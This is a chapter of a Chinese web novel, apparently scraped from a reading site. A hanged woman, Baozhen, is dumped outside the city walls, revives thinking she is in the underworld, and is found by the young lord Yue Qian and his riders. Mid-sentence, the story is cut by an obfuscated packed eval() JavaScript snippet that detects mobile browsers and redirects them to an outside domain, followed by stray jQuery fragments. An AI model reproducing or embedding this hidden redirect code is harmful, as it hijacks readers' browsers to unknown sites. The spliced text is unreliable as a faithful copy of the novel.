看管的人一进来，便看见宝珍悬在梁上，唬了一跳，忙解救下来，见已没了气息，大骂不止，又摸她手脚，只觉得都已凉下来，以为没救了，忙喊了老鸨来。


    在这位老鸨的职业生涯中，虽然凭着一副铁石心肠驯服了无数堕入深渊的良家姑娘，却也没有起死回生的本领。


    她见宝珍无声无息地躺在地下，脖颈上勒出的红痕很是刺眼，生气之下，先甩了看管的人一个耳光，也没请大夫细察，便叫人拿席子卷了、匆匆丢往城外了。


    这些被权贵之流半分也看不起的草根老百姓，虽然日子过得确实清贫，也大多没有受教育的机会，但他们的命数却往往是最坚韧的。


    宝珍就这样被破草席随便一裹，叫一辆老驴车拉着，急匆匆地赶在关城门前往城外去了。


    能在妓馆做事的人，早将“良心”两个字麻木了，他们对活生生的大姑娘尚且没有什么怜香惜玉之情，更别说一具冰冷的尸体了，也不管那么多，刚到一片野地，就提着席子将她甩了出去，这便赶着回转城内喝酒取乐要紧。


    宝珍被抛在地上结结实实地一摔，滚在野草堆里。


    夜风沁凉，头一日又下过雨，泥水很快沾湿了她的衣裳，在这样的寒意中，她不知怎的竟悠悠醒转过来。


    城外虽也有人家，离此处却还有一些距离。


    她醒转时，太阳已然落山，四周没有灯火人烟，入眼皆是黑黢黢的，地面坚硬无比，乱石、泥土硌得她后脑、后背生疼，她一时想不明白自己身在何处，身上也全无力气，于是又闭着眼睛躺了一会儿。


    又这么歇了一阵，宝珍的知觉渐渐恢复，可她觉得还不如方才无知无觉的好。


    此时她只觉头疼、身上被妓馆喽啰打的地方疼、脖颈上被裤带勒过的地方疼，还有刚才被抛摔的那一下子，又增跌伤，更是疼上加疼，整个人简直要散了架一般。


    随着痛感的恢复，思维也慢慢清晰起来，忆起前事，吊颈的窒息感还在，宝珍便笃定——


    自己此刻应是已到了阴曹地府了。


    本以为人一死就万事皆空，没成想原来还有知觉。


    宝珍舔了舔干裂的嘴唇，只觉喉咙生疼、干渴得厉害。


    她上一次喝水还是早上。


    为了家里的事，婆婆连日心焦，她虽然不曾抱怨什么，嘴角却明晃晃地冒出好几个大燎泡。


    家里没有什么存粮了，宝珍便去邻居大娘家里借了一把绿小豆，给婆婆熬了小半锅绿豆汤。


    虽然稀了点，恐怕也还有些作用。


    婆婆见了汤，心疼儿媳和孙女，只说豆子腥气，自己不爱喝。


    两个人推让一阵，最后到底还是分了三小碗，婆婆、宝珍、金儿祖孙三个每人都喝了一些。


    宝珍咂咂嘴，似乎想要回味一下那碗绿豆汤的味道，可是嘴里只觉十分干涩，舌头发粘，喉头隐隐还有些腥苦味道，只是烦闷欲呕。


    宝珍一向是个没有大主意却又最温顺的，可她现在心里觉得好恨。


    自己一家人本本分分地过日子，从来和气生财、不与人红脸，为何就落得如此下场，彼此骨肉分离、阴阳两隔！


    她靠着这骤然而起的恨意提振着精神，略略恢复了些气力，勉强支着身子坐了起来。


    周围有些虫鸣，远处草里不知有些什么，只听着草叶悉悉索索地在动。


    宝珍的手撑在地上，支撑着软弱无力的身体，只觉得头晕目眩。


    她又坐着定了定神，想起曾听街坊老人茶余饭后闲谈天讲古的时候，也曾听他们说过关于地府的故事。


    听说这里管事的大人叫作“阎王”，足足有十位之多，他们住在十座宫殿里头，一同管理着整个阴曹地府，平日里有许多骇人的牛头马面供他们驱策。


    宝珍把那些故事想了一遍，在心里打定了主意，自己要一殿一殿走过去，若是这一殿不管，那就去下一殿，把自家的事说上八百遍也不要紧，这天大的冤屈，无论如何也要寻个人做主才是。


    城门已关，城外人家闭户熄灯、夜静无人。


    这时月亮刚好被一团浓云遮住，星子也稀薄，宝珍艰难地转着头，她的眼睛早已适应了周遭的黑暗，看清了四周的荒地，眯着眼往远处瞧去，只有那边的高处依稀有些亮光。


    她不知道那是城门上的守卫点起的巡查灯笼，只料定那便是阎王们所居住的地方，便挣扎着要去。


    宝珍虽然浑身没劲，腿上更是软棉花似的没有一点力气，她使劲儿捶了捶腿，见一时恐怕不能恢复，便死命挣扎着爬起身来、手足并用着向亮光爬去。


    她就这么一点一点挪着爬了半晌，竟也终于让她从道旁的泥地里爬上了大路，她的袖子划烂了、指甲劈了、手心被石子磨破了，却一点也不在意。


    比起丧父的冤屈、失女的痛苦，这些又算得上什么？


    忽然由远及近传来一阵急切的蹄声，几乘快马正向城门飞奔而来。


    为首的一骑是一个墨发飞扬的少年公子，后面四骑的男子装束一致，都是他的随从。


    夜间赶路全凭星月微光，若不是笃定此时路上再无行人车马，且几人均身负武艺、目力极佳，他们也不敢骑得这般快。


    这次出城所办之事微有波折，无奈竟然耽误了回城的时辰，公子又执意不肯在城外留宿，一行人也只好打点精神、夤夜奔驰。


    左右那宵禁不过是管管普通老百姓，城头上的守卫都是做做样子，见了银子自会放行，若是赶上守卫心情好的时候，说不准还会送一盏灯笼给他们一行照明呢。


    随从们极擅骑术，许是为了赶远路的时候替乘，最后两人还分别赶着两匹空坐骑，叫它们在旁边牢牢跟着。


    这七匹马奔行迅速，果然都很神骏，不过才几息工夫，便已奔到了宝珍左近。


    骑手目力虽佳，在光线极暗的地方也只能辨明大致方向，看不清道路的具体情形，座下的几匹良驹却十分机敏，感知力远胜主人，且早已嗅见异状，在离宝珍两丈之地时便开始减速，待到宝珍跟前，马儿便高高扬起前蹄，咴咴嘶鸣，不肯再走。


    几人伏在马上，不防有这一下，若不是有多年的骑行经验，这一下差点就被甩下马去，心里都是一惊，口中连连呼哨，纷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444230|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纷呵斥坐骑，可马匹们却在原地绕圈，只是不肯前行。


    为首那公子正是越潜，他轻夹马腹，在马颈上轻轻拍了一记，举鞭向前方一指，笑道：“两日路都赶下来了，如今至多不过再有三四里地便可进城了，怎么要在此时闹脾气？走罢，到家我叫他们替你取新鲜的牧草来，与你平常吃的干料不同，保管你满意。”


    马儿摆了摆鬃毛，咴咴嘶鸣，原地顿着蹄子，就是不肯前行。


    越潜心下大奇。


    家里现在蓄着的良马里，就数这匹“洗墨”最通人性，跟自己的时间也最久。


    洗墨聪明温和，从不忤逆主人心意，如此这般表现，怕不是前头真有什么，这……


    他四面转头看了看，半夜三更黑灯瞎火的，总不能有人。


    可若不是有人，那便是有……


    这么想着想着，越潜的后背竟然有些发毛。


    他自己也觉好笑，自嘲似地摇摇头，好端端的，这是想什么呢？


    真是——自己～吓～自～己～～


    他伸手顺着洗墨的鬃毛，安抚着马儿的情绪，准备等它安静下来之后再行出发。


    马儿们打着响鼻，前蹄不断跺着地。


    突然从前方极近处传来几声幽幽的女子呻吟之声。


    这次不仅越潜，所有人都是一怔。


    有一个随从伸手往自己耳朵里掏了一掏，疑心是不是自己听错了。


    众人屏息听了一会儿，除了五人七马之外，此处确实有第六个人的呼吸，只是不知为何十分微弱，且显杂乱。


    不知是一位故意隐藏呼吸的敌人，还是另有什么缘故。


    众人将手按在腰间兵器上，侧耳屏息听着，终于还是越潜笑道：“走，看看去，我倒不信她能比我还邪性。凭她是人是鬼，也得叫咱们看个清楚。”说着便将马鞭向腰间一插，袍角一掀翻身下马，随从们也纷纷下马相随。


    两个随从自怀中取出火折，迎风晃亮了，举在手中帮越潜照明。


    几人往前走了几步，终于将正在地上匍匐的女子看清。


    原来宝珍好不容易爬到大路上，她颈上身上本来都有伤，方才爬行又伤了手臂，长时间水米未进，早已没了力气，刚才短暂地昏晕了一阵，才刚刚又醒转来。


    她听见马儿的响动，此时也努力挣扎着抬起头来。


    宝珍眯着眼向上望去，猛地见到这样几个似乎从天而降一般、手里还托着一星一星跳跃火光的人，她不禁睁大眼睛呆呆地瞧着。


    尤其是为首那人，被跳动的灯火照着，面部轮廓阴影明灭，更衬得一张脸深邃俊美，仿佛真如神明一般。


    宝珍此时已是力尽神疲之极，无暇深思，只当是自己诚心有感，所以阎王派人来接引她，心中认定这就是能为她做主的神仙了，蓦地不知从哪生出一股气力，挣扎起来跪着道：“阎罗大人，民妇——冤——枉！”


    这一声喊凄厉无比，用尽了她当下所有的力气。


    在极度的悲愤和冤恨下，宝珍气血翻涌，喉头腥甜，眼前金星乱冒，身子失去平衡，双眼一翻，当即昏死过去。